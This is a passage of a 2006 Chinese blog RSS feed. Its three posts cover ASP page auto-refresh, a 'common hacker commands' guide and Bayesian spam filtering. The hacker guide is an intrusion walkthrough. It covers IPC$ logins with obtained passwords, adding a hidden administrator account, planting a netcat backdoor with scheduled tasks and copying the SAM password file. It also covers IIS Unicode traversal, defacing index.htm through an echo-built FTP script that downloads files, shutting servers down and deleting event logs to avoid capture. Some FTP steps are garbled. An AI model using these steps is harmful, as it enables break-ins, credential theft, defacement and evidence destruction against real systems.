</p><p>&lt; /HEAD&gt;  </p><p>&lt; /HTML&gt;src="/blog/welcome.gif" &gt;  </p><p>多个内容相似而背景不同的页面，让其每隔一定时间自动相互跳转。 </p><p>#########我的实际应用###########<br />某网页需要实时读取最新的数据库资料来实现实时更新，http://xxx/scriptname.asp 
</p><p>在该网页中加入的相关代码如下：</p><p>&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312"&gt;<br />&lt;meta http-equiv="Refresh" content="2; url=&lt;%=cururl%&gt;" &gt; </p><p>cururl存放当前页面url的变量。<br />cururl=request.ServerVariables("SCRIPT_NAME")</p></span>
<img src ="http://www.blogjava.net/sheerfreedom/aggbug/52356.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sheerfreedom/" target="_blank">FNST</a> 2006-06-13 10:17 <a href="http://www.blogjava.net/sheerfreedom/archive/2006/06/13/52356.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>黑客常用命令</title><link>http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52169.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Mon, 12 Jun 2006 03:54:00 GMT</pubDate><guid>http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52169.html</guid><wfw:comment>http://www.blogjava.net/sheerfreedom/comments/52169.html</wfw:comment><comments>http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52169.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/sheerfreedom/comments/commentRss/52169.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/sheerfreedom/services/trackbacks/52169.html</trackback:ping><description><![CDATA[
		<p align="left">1.最基本，最常用的，测试物理网络的 <br />　　ping 192.168.0.8 －t ，参数－t是等待用户去中断测试 <br />2.查看DNS、IP、Mac等 <br />　　A.Win98：winipcfg <br />　　B.Win2000以上：Ipconfig/all <br />　　C.NSLOOKUP：如查看河北的DNS <br />　　C:\&gt;nslookup <br />　　Default Server: ns.hesjptt.net.cn <br />　　Address: 202.99.160.68 <br />　　&gt;server 202.99.41.2 则将DNS改为了41.2 <br />　　&gt; pop.pcpop.com <br />　　Server: ns.hesjptt.net.cn <br />　　Address: 202.99.160.68 </p>
		<p>　　Non-authoritative answer: <br />　　Name: pop.pcpop.com <br />　　Address: 202.99.160.212 <br />3.网络信使 <br />　　Net send 计算机名/IP　* (广播) 传送内容，注意不能跨网段 <br />　　net stop messenger 停止信使服务，也可以在面板－服务修改 <br />　　net start messenger 开始信使服务 <br />4.探测对方对方计算机名，所在的组、域及当前用户名 （追捕的工作原理） <br />　　ping －a IP －t ，只显示NetBios名 <br />　　nbtstat -a 192.168.10.146 比较全的 </p>
		<p>5.netstat -a 显示出你的计算机当前所开放的所有端口 <br />netstat -s -e 比较详细显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等</p>
		<p>6.探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址 <br />　　arp -a </p>
		<p>7.在代理服务器端 <br />　　捆绑IP和MAC地址，解决局域网内盗用IP！： <br />　　ARP －s 192.168.10.59 00 －50－ff－6c－08－75 <br />　　解除网卡的IP与MAC地址的绑定： <br />　　arp -d 网卡IP </p>
		<p>8.在网络邻居上隐藏你的计算机 <br />　　net config server /hidden:yes <br />　　net config server /hidden:no 则为开启 </p>
		<p>9.几个net命令 <br />　　A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。 <br />　　比如：查看这个IP上的共享资源，就可以 <br />　　C:\&gt;net view 192.168.10.8 <br />　　在 192.168.10.8 的共享资源 <br />　　资源共享名 类型 用途 注释 <br />　　-------------------------------------- <br />　　网站服务 Disk <br />　　命令成功完成。 </p>
		<p>　　B.查看计算机上的用户帐号列表 net user <br />　　C.查看网络链接 net use <br />　　例如：net use z: \192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘 <br />　　D.记录链接 net session <br />　　例如: C:\&gt;net session <br />　　计算机 用户名 客户类型 打开空闲时间 <br />　\192.168.10.110 ROME Windows 2000 2195 0 00:03:12 <br />　\192.168.10.51 ROME Windows 2000 2195 0 00:00:39 <br />　　命令成功完成。 </p>
		<p>10.路由跟踪命令 <br />　　A.tracert pop.pcpop.com <br />　　B.pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的％ </p>
		<p>11.关于共享安全的几个命令 <br />　　A.查看你机器的共享资源 net share <br />　　B.手工删除共享（可以编个bat文件，开机自运行，把共享都删了！） <br />　　net share c$ /d <br />　　net share d$ /d <br />　　net share ipc$ /d <br />　　net share admin$ /d <br />　　注意$后有空格。 <br />　　C.增加一个共享： <br />　　c:\net share mymovie=e:\downloads\movie /users:1 <br />　　mymovie 共享成功。 <br />　　同时限制链接用户数为1人。 </p>
		<p>12.在DOS行下设置静态IP <br />　　A.设置静态IP <br />　　CMD <br />　　netsh <br />　　netsh&gt;int <br />　　interface&gt;ip <br />　　interface ip&gt;set add "本地链接" static IP地址 mask gateway <br />　　B.查看IP设置 <br />　　interface ip&gt;show address <br />　　Arp <br />　　显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表，它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用，则 arp 命令将显示帮助信息。 </p>
		<p>　　语法 <br />　　arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]] </p>
		<p>　　参数 <br />　　-a [InetAddr] [-N IfaceAddr] <br />　　显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项，请使用带有 InetAddr 参数的 arp -a，此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表，请使用 -N IfaceAddr 参数，此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。 <br />　　-g [InetAddr] [-N IfaceAddr] <br />　　与 -a 相同。 <br />　　-d InetAddr [IfaceAddr] <br />　　删除指定的 IP 地址项，此处的 InetAddr 代表 IP 地址。对于指定的接口，要删除表中的某项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项，请使用星号 (*) 通配符代替 InetAddr。 <br />　　-s InetAddr EtherAddr [IfaceAddr] <br />　　向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。 <br />　　/? <br />　　在命令提示符显示帮助。 <br />　　注释 <br />　　InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。 <br />　　物理地址 EtherAddr 由六个字节组成，这些字节用十六进制记数法表示并且用连字符隔开（比如，00-AA-00-4F-2A-9C）。 <br />　　通过 -s 参数添加的项属于静态项，它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动，这些项会被删除。要创建永久的静态 ARP 缓存项，请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。 <br />只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 <br />　　范例 <br />　　要显示所有接口的 ARP 缓存表，可键入： </p>
		<p>　　arp -a </p>
		<p>　　对于指派的 IP 地址为 10.0.0.99 的接口，要显示其 ARP 缓存表，可键入： </p>
		<p>　　arp -a -N 10.0.0.99 </p>
		<p>　　要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项，可键入： </p>
		<p>　　arp -s 10.0.0.80 00-AA-00-4F-2A-9C <br />　　At <br />　　计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用，则 at 列出已计划的命令。 </p>
		<p>　　语法 <br />　　at [\ComputerName] [{[ID] [/delete]　/delete [/yes]}] </p>
		<p>　　at [[\ComputerName] hours:minutes [/interactive] [{/every:date[,...]　/next:date[,...]}] command] </p>
		<p>　　参数 <br />　　 \computername <br />　　指定远程计算机。如果省略该参数，则 at 计划本地计算机上的命令和程序。 <br />　　ID <br />　　指定指派给已计划命令的识别码。 <br />　　/delete <br />　　取消已计划的命令。如果省略了 ID，则计算机中所有已计划的命令将被取消。 <br />　　/yes <br />　　删除已计划的事件时，对来自系统的所有询问都回答“是”。 <br />　　hours:minutes <br />　　指定命令运行的时间。该时间用 24 小时制（即从 00:00 [午夜] 到 23:59）的 小时: 分钟格式表示。 <br />　　/interactive <br />　　对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。 <br />　　/every: <br />　　在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行 command 命令。 <br />　　date <br />　　指定运行命令的日期。可以指定一周的某日或多日（即，键入 M、T、W、Th、F、S、Su）或一个月中的某日或多日（即，键入从 1 到31 之间的数字）。用逗号分隔多个日期项。如果省略了 date，则 at 使用该月的当前日。 <br />　　/next: <br />　　在下一个指定日期（比如，下一个星期四）到来时运行 command。 <br />　　command <br />　　指定要运行的 Windows 命令、程序（.exe 或 .com 文件）或批处理程序（.bat 或 .cmd 文件）。当命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，请指定服务器和共享名的通用命名协定 (UNC) 符号，而不是远程驱动器号。 <br />　　/? <br />　　在命令提示符显示帮助。 <br />　　注释 <br />　　Schtasks 是功能更为强大的超集命令行计划工具，它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务，都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息，请参阅“相关主题”。 </p>
		<p>　　使用 at <br />　　使用 at 命令时，要求您必须是本地 Administrators 组的成员<br />黑客常用命令<br />总觉的这些基础东西每个人都要看以下~如果你连这些都不会那我看你要好好学习以下了！虽然是基础也是重点，这些命令也经常用到，有什么不明白的问题可以在这或菜鸟问答区提出！梦幻会尽力帮大家解答！<br />1：NET <br />只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！ <br />这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1 <br />net use <a>\\\\127.0.0.1\\ipc$</a> "123456" /user:"hbx" <br />退出的命令是 <br />net use <a>\\\\127.0.0.1\\ipc$</a> /delte <br />下面的操作你必须登陆后才可以用.登陆的方法就在上面. </p>
		<p>下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户. <br />我们加一个heibai的用户密码为lovechina <br />net user heibai lovechina /add <br />只要显示命令成功,那么我们可以把他加入Administrator组了. <br />net localgroup Administrators heibai /add <br />这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘. <br />net use z:\\\\127.0.0.1\\c$ <br />net start telnet <br />这样可以打开对方的TELNET服务. <br />这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。 <br />net user guest /active:yes <br />这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！ <br />net user guest lovechina <br />net命令果然强大啊！ </p>
		<p>2:at <br />一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？ <br />那么需要用AT命令，这里假设你已经登陆了那个服务器。 <br />你首先要得到对方的时间， <br />net time <a>\\\\127.0.0.1</a><br />将会返回一个时间，这里假设时间为12:1,现在需要新建一个作业，其ID=1 <br />at <a>\\\\127.0.0.1</a> 12:3 nc.exe 严志梁 <br />这里假设了一个木马，名为NC.EXE,这个东西要在对方服务器上. <br />这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99. <br />等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马. </p>
		<p>3:telnet <br />这个命令非常实用,它可以与远方做连接，不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口. <br />telnet 127.0.0.1 99 <br />这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡. </p>
		<p>4:FTP <br />它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个<a href="http://www.51.net/">WWW.51.NET</a>,不错的.当我们申请完后，它会给用户名,密码,以及FTP服务器. <br />在上传前需要登陆先，这里我们假设FTP服务器是<a href="http://www.51.net/">WWW.51.NET</a>,用户名是HUCJS,密码是654321 <br />ftpwww.51.net <br />他会要求输入用户,成功后会要求输入密码. <br />下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\\下,传到对方D:\\ <br />get c:\\index.htm d:\\ <br />假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下 <br />put c:\\index.htm d:\\ <br />5:copy </p>
		<p>下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。 <br />这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下 <br />copy index.htm <a>\\\\127.0.0.1\\c$\\index.htm</a><br />如果你要复制到D盘下把C改为D，就行了！ <br />copy index.htm <a>\\\\127.0.0.1\\d$\\index.htm</a><br />如果你要把他复制到WINNT目录里 <br />就要把输入 <br />copy index.htm <a>\\\\127.0.0.1\\admin$\\index.htm</a><br />admin$是winnt </p>
		<p>要把对方的文件复制过来，顺便告诉大家NT的备份的数据库放在x:\\winnt\\repair\\sam._ sam._是数据库的文件名 <br />下面就把127.0.0.1的数据库复制到本地C盘下 <br />copy <a>\\\\127.0.0.1\\admin$\\repair\\sam</a>._ c:\\ </p>
		<p>6：set <br />如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！ <br />下面是我得到的结果！我来分析它，只是找主页在那而已。 <br />COMPUTERNAME=PENTIUMII <br />ComSpec=D:\\WINNT\\system32\\cmd.exe <br />CONTENT_LENGTH=0 <br />GATEWAY_INTERFACE=CGI/1.1 <br />HTTP_ACCEPT=*/* <br />HTTP_ACCEPT_LANGUAGE=zh-cn <br />HTTP_CONNECTION=Keep-Alive <br />HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了 <br />HTTP_ACCEPT_ENCODING=gzip, deflate <br />HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) <br />NUMBER_OF_PROCESSORS=1 <br />Os2LibPath=D:\\WINNT\\system32\\os2\\dll; <br />OS=Windows_NT <br />Path=D:\\WINNT\\system32;D:\\WINNT <br />PATHEXT=.COM;.EXE;.BAT;.CMD <br />PATH_TRANSLATED=E:\\vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\\vlroot <br />PROCESSOR_ARCHITECTURE=x86 <br />PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel <br />PROCESSOR_LEVEL=6 <br />PROCESSOR_REVISION=0303 <br />PROMPT=$P$G <br />QUERY_STRING=/c+set <br />REMOTE_ADDR=XX.XX.XX.XX <br />REMOTE_HOST=XX.XX.XX.XX <br />REQUEST_METHOD=GET <br />SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe <br />SERVER_NAME=XX.XX.XX.XX <br />SERVER_PORT=80 <br />SERVER_PORT_SECURE=0 <br />SERVER_PROTOCOL=HTTP/1.1 <br />SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0 <br />SystemDrive=D: <br />SystemRoot=D:\\WINNT <br />TZ=GMT-9 <br />USERPROFILE=D:\\WINNT\\Profiles\\Default User <br />windir=D:\\WINNT <br />粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。 </p>
		<p>7：nbtstat <br />如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！ <br />现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。 <br />命令是 <br />nbtstat -A XX.XX.XX.XX <br />-A一定要大写哦。 <br />下面是得到的结果。 <br />NetBIOS Remote Machine Name Table <br />Name Type Status <br />--------------------------------------------- <br />Registered Registered Registered Registered Registered Registered Registered Reg <br />istered Registered Registered Registered <br />MAC Address = 00-E0-29-14-35-BA <br />PENTIUMII &lt;00&gt; UNIQUE <br />PENTIUMII &lt;20&gt; UNIQUE <br />ORAHOTOWN &lt;00&gt; GROUP <br />ORAHOTOWN &lt;1C&gt; GROUP <br />ORAHOTOWN &lt;1B&gt; UNIQUE <br />PENTIUMII &lt;03&gt; UNIQUE <br />INet~Services &lt;1C&gt; GROUP <br />IS~PENTIUMII...&lt;00&gt; UNIQUE <br />ORAHOTOWN &lt;1E&gt; GROUP <br />ORAHOTOWN &lt;1D&gt; UNIQUE <br />..__MSBROWSE__.&lt;01&gt; GROUP </p>
		<p>粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是&lt;03&gt;的话，那他前面的就是用户。 <br />这里的用户是PENTIUMII。 </p>
		<p>8：Shutdown <br />关了对方的NT服务器的命令 <br />Shutdown <a>\\\\IP</a>地址 t:20 <br />20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。 </p>
		<p>9：DIR <br />这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。 <br />你可以本地试下。 </p>
		<p>10：echo <br />著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。 </p>
		<p>我们假设我们要把“南京大屠杀铁证如山，任何*本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么区别。 <br />echo 南京大屠杀铁证如山，任何*本人不得抵赖！&gt;index.htm <br />echo 南京大屠杀铁证如山，任何*本人不得抵赖！&gt;&gt;index.htm </p>
		<p>第一个的意思是覆盖index.htm原有的内容，把“南京大屠杀铁证如山，任何*本人不得抵赖！”写进index.htm。 <br />第二个的意思是把“南京大屠杀铁证如山，任何*本人不得抵赖！”加到index.htm里面。 <br />“&gt;&gt;”产生的内容将追加进文件中，“&gt;”则将原文件内容覆盖。 <br />大家可以本地试下。 </p>
		<p>可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。 <br />1、首先，我们需要申请一个免费的主页空间。 <br />2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。） <br />open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的） <br />cnhack（你申请时的用户名） <br />test（你申请时的密码） <br />get index.htm c:\\inetpub\\wwwroot\\index.htm（这里是把你空间上的index.htm下载到对方的c:\\inetpub\\wwwroot\\index.htm） <br />bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS） </p>
		<p>具体的做法： <br />输入 echo open upload.chinaren.com&gt; c:\\cnhack.txt <br />输入 echo cnhack &gt;&gt; c:\\cnhack.txt <br />输入 echo 39abs &gt;&gt; c:\\cnhack.txt <br />输入 echo get index.htm c:\\inetpub\\wwwroot\\index.htm+&gt;&gt;+c:\\cnhack.txt <br />最后输入 ftp -s:c:\\cnhack.txt （利用ftp的-s参数，执行文件里的内容。） </p>
		<p>等命令完成时，文件已经下载到你指定的文件里了。 </p>
		<p>注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。） <br />记得要 del c:\\cnhack.txt </p>
		<p>11:attrib <br />这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。 <br />attrib -r index.htm <br />这个命令是把index.htm的只读属性去掉。 <br />如果把“-”改为“+”则是把这个文件的属性设置为只读 <br />attrib +r index.htm <br />这个命令是把index.htm的属性设置为只读。 </p>
		<p>12:del <br />当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除*志，当然要删除*志啦！想被捉吗。呵呵。 </p>
		<p>NT的*志有这些 <br />del C:\\winnt\\system32\\logfiles\\*.* <br />del C:\\winnt\\ssytem32\\config\\*.evt <br />del C:\\winnt\\system32\\dtclog\\*.* <br />del C:\\winnt\\system32\\*.log <br />del C:\\winnt\\system32\\*.txt <br />del C:\\winnt\\*.txt <br />del C:\\winnt\\*.log <br />只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。</p>
		<p>黑客常用命令教程<br />打开：开始－运行（然后输入CMD回车）<br />以下是黑客命令<br />\netstat -an<br />查看本机所有开发端口和连接<br />\net use<br />查看本机所有连接<br />\net use\\192.168.1.12\ipc$ 123789/user:administrator<br />与别的计算机建立IPC$连接<br />\net user<br />显示本机所有用户<br />\net user administrator<br />显示某消息的详细消息<br />\net share<br />显示本机当前共享<br />\net share mylove /del<br />删除本机某共享<br />\net share mylove=c:\temp /remark:"my first share"<br />增加共享文件夹<br />\net time <a href="file://192.168.1.12/">\\192.168.1.12</a><br />显示远程机器当前的时间<br />\net start telnet<br />启动服务<br />\net stop telnet<br />停止服务<br />\net user hacker 123/add<br />添加用户<br />\net localgroup administrators hacker /add<br />将添加用户到管理员组，提升权限<br />\ping -t -n 1000 <a href="http://www.cctv.com/">www.cctv.com</a><br />看某网站的IP地址，及响应速度<br />\tracert <a href="http://www.cctv.com/">www.cctv.com</a><br />查看从本机出发，中间经过了那些路由器到达</p>
<img src ="http://www.blogjava.net/sheerfreedom/aggbug/52169.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sheerfreedom/" target="_blank">FNST</a> 2006-06-12 11:54 <a href="http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52169.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>贝叶斯算法</title><link>http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52164.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Mon, 12 Jun 2006 03:41:00 GMT</pubDate><guid>http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52164.html</guid><wfw:comment>http://www.blogjava.net/sheerfreedom/comments/52164.html</wfw:comment><comments>http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52164.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/sheerfreedom/comments/commentRss/52164.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/sheerfreedom/services/trackbacks/52164.html</trackback:ping><description><![CDATA[
		<p>一． 贝叶斯过滤算法的基本步骤<br /><br />1) 收集大量的垃圾邮件和非垃圾邮件，建立垃圾邮件集和非垃圾邮件集。<br />2) 提取邮件主题和邮件体中的独立字串例如 ABC32，￥234等作为TOKEN串并统计提取出的TOKEN串出现的次数即字频。按照上述的方法分别处理垃圾邮件集和非垃圾邮件集中的所有邮件。<br />3) 每一个邮件集对应一个哈希表，hashtable_good对应非垃圾邮件集而hashtable_bad对应垃圾邮件集。表中存储TOKEN串到字频的映射关系。<br />4) 计算每个哈希表中TOKEN串出现的概率P=（某TOKEN串的字频）/（对应哈希表的长度）<br />5) 综合考虑hashtable_good和hashtable_bad，推断出当新来的邮件中出现某个TOKEN串时，该新邮件为垃圾邮件的概率。数学表达式为：<br />A事件----邮件为垃圾邮件; <br />t1,t2 …….tn代表TOKEN串<br />则P（A|ti）表示在邮件中出现TOKEN串ti时，该邮件为垃圾邮件的概率。<br />设<br />P1（ti）=（ti在hashtable_good中的值）<br />P2（ti）=（ti在hashtable_ bad中的值）<br />则 P（A|ti）= P1（ti）/[（P1（ti）+ P2（ti）]；<br />6) 建立新的哈希表 hashtable_probability存储TOKEN串ti到P（A|ti）的映射<br />7) 至此，垃圾邮件集和非垃圾邮件集的学习过程结束。根据建立的哈希表 hashtable_probability可以估计一封新到的邮件为垃圾邮件的可能性。<br />当新到一封邮件时，按照步骤2）生成TOKEN串。查询hashtable_probability得到该TOKEN 串的键值。<br />假设由该邮件共得到N个TOKEN串，t1,t2…….tn, hashtable_probability中对应的值为P1，P2，。。。。。。PN，<br />P(A|t1 ,t2, t3……tn)表示在邮件中同时出现多个TOKEN串t1,t2…….tn时，该邮件为垃圾邮件的概率。<br />由复合概率公式可得<br />P(A|t1 ,t2, t3……tn)=（P1*P2*。。。。PN）/[P1*P2*。。。。。PN+（1-P1）*（1-P2）*。。。（1-PN）]<br />当P(A|t1 ,t2, t3……tn)超过预定阈值时，就可以判断邮件为垃圾邮件。<br /><br />二． 贝叶斯过滤算法举例<br /><br />例如：一封含有“法 轮 功”字样的垃圾邮件 A<br />和 一封含有“法律”字样的非垃圾邮件B<br />根据邮件A生成hashtable_ bad，该哈希表中的记录为<br />法：1次<br />轮：1次<br />功：1次<br />计算得在本表中：<br />法出现的概率为0。3<br />轮出现的概率为0。3<br />功出现的概率为0。3<br />根据邮件B生成hashtable_good，该哈希表中的记录为：<br />法：1<br />律：1<br />计算得在本表中：<br />法出现的概率为0。5<br />律出现的概率为0。5<br />综合考虑两个哈希表，共有四个TOKEN串： 法 轮 功 律<br />当邮件中出现“法”时，该邮件为垃圾邮件的概率为：<br />P=0。3/（0。3+0。5）=0。375<br />出现“轮”时：<br />P=0。3/（0。3+0）=1<br />出现“功“时：<br />P=0。3/（0。3+0）=1<br />出现“律”时<br />P=0/（0+0。5）=0；<br />由此可得第三个哈希表：hashtable_probability 其数据为：<br />法：0。375<br />轮：1<br />功：1<br />律：0<br /><br />当新到一封含有“功律”的邮件时，我们可得到两个TOKEN串，功 律<br />查询哈希表hashtable_probability可得<br />P（垃圾邮件| 功）=1<br />P （垃圾邮件|律）=0<br />此时该邮件为垃圾邮件的可能性为：<br />P=（0*1）/[0*1+（1-0）*（1-1）]=0<br />由此可推出该邮件为非垃圾邮件<br /></p>
<img src ="http://www.blogjava.net/sheerfreedom/aggbug/52164.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sheerfreedom/" target="_blank">FNST</a> 2006-06-12 11:41 <a href="http://www.blogjava.net/sheerfreedom/archive/2006/06/12/52164.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>